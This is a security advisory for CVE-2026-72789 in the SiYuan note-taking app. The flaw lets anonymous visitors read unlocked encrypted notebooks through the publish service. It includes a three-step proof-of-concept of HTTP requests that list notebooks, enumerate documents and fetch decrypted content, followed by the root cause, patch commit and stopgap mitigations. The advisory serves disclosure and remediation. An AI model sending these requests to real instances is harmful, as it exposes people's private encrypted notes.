CVE-2026-72789: SiYuan Encrypted Notebook Publish Access Bypass
SiYuan's publish gate treats encrypted notebooks as publicly readable by default, letting any anonymous visitor enumerate and retrieve fully decrypted document content while a notebook is unlocked…

The problem
SiYuan's publish gate (CheckPathAccessableByPublishIgnore) is an opt-out list: anything not explicitly listed in publishAccess.json is returned as accessible. Encrypted notebooks are never written into that file, because only the admin-gated setPublishAccess endpoint writes it and the encryption subsystem never does.
While a legitimate user has an encrypted notebook unlocked, any anonymous reader on port 6808 can list that notebook, enumerate its documents, and retrieve their fully decrypted content. No key material, no password, and no cracking is required. The kernel decrypts transparently and serves it because the authorization layer never checks whether the notebook is encrypted.
Proof of concept
A working proof-of-concept for CVE-2026-72789 in github.com/siyuan-note/siyuan/kernel, with the exact payload below.
# Step 1: discover the encrypted notebook id (anonymous, port 6808)
POST http://127.0.0.1:6808/api/notebook/lsNotebooks
Content-Type: application/json
{}
# Response: 200 - list includes entries with encrypted:true and their notebook id
# Step 2: enumerate documents inside the encrypted notebook
POST http://127.0.0.1:6808/api/filetree/listDocsByPath
Content-Type: application/json
{"notebook":"<encrypted-box-id>","path":"/"}
# Response: 200 - document identifiers and titles from inside the encrypted notebook
# Step 3: retrieve fully decrypted document content
POST http://127.0.0.1:6808/api/filetree/getDoc
Content-Type: application/json
{"id":"<document-id-from-step-2>"}
# Response: 200 - fully decrypted document body
# (getBlockKramdown returns the same content as decrypted Markdown)
# Repeating step 3 while the notebook is LOCKED returns not-found, confirming
# the unlock window is the only precondition.The gate's checkBlockTreeAccessableByPublishAccess is a boolean AND of two terms: CheckPathAccessableByPublishIgnore (visibility) and a publish-password check. For an encrypted notebook, the first term is always true (it is never listed in publishAccess.json) and the second is always true (encrypted notebooks carry no publish password), so the conjunction returns true unconditionally.
IsEncryptedBox does not appear in kernel/model/publish_access.go on any pre-patch version. The patch commit (a25c2dd06aae) adds an early if IsEncryptedBox(bt.BoxID) { return false } guard in both checkBlockTreeAccessableByPublishAccess and CheckBlockTreeMetadataAccessableByPublishAccess, and excludes encrypted notebooks from lsNotebooks and listDocsByPath for read-only roles.
This is a fail-closed fix: encryption status is now checked independently of the opt-out list.
Root cause is CWE-862 / CWE-284: the authorization layer had no concept of an encrypted notebook, so a whole class of notebooks was permanently outside the access model rather than defaulting to denied.
The fix
Upgrade to commit a25c2dd06aae (Go module pseudo-version 0.0.0-20260726020813-a25c2dd06aae) or to the released build that includes it. If an immediate upgrade is not possible, disable publish mode entirely (Publish.Auth.Enable with no public port exposure) or manually add every encrypted notebook ID to the publishAccess.json ignore list as a stopgap.
Note that the stopgap requires a manual admin action every time a new encrypted notebook is created.
Reported by 88250 (SiYuan maintainer, GHSA publisher).
Related research
- high · 8.6CVE-2026-72798CVE-2026-72798: SiYuan renderAttributeView Publish-Access Filter Bypass
- high · 8.6CVE-2026-72804CVE-2026-72804: SiYuan Graph Endpoints Missing Publish-Password Check
- high · 8.6CVE-2026-72810CVE-2026-72810: SiYuan WebSocket Broadcast Publish-Boundary Bypass
- high · 8.6CVE-2026-68587CVE-2026-68587: SiYuan getHeading*Transaction Publish-Disabled Document Disclosure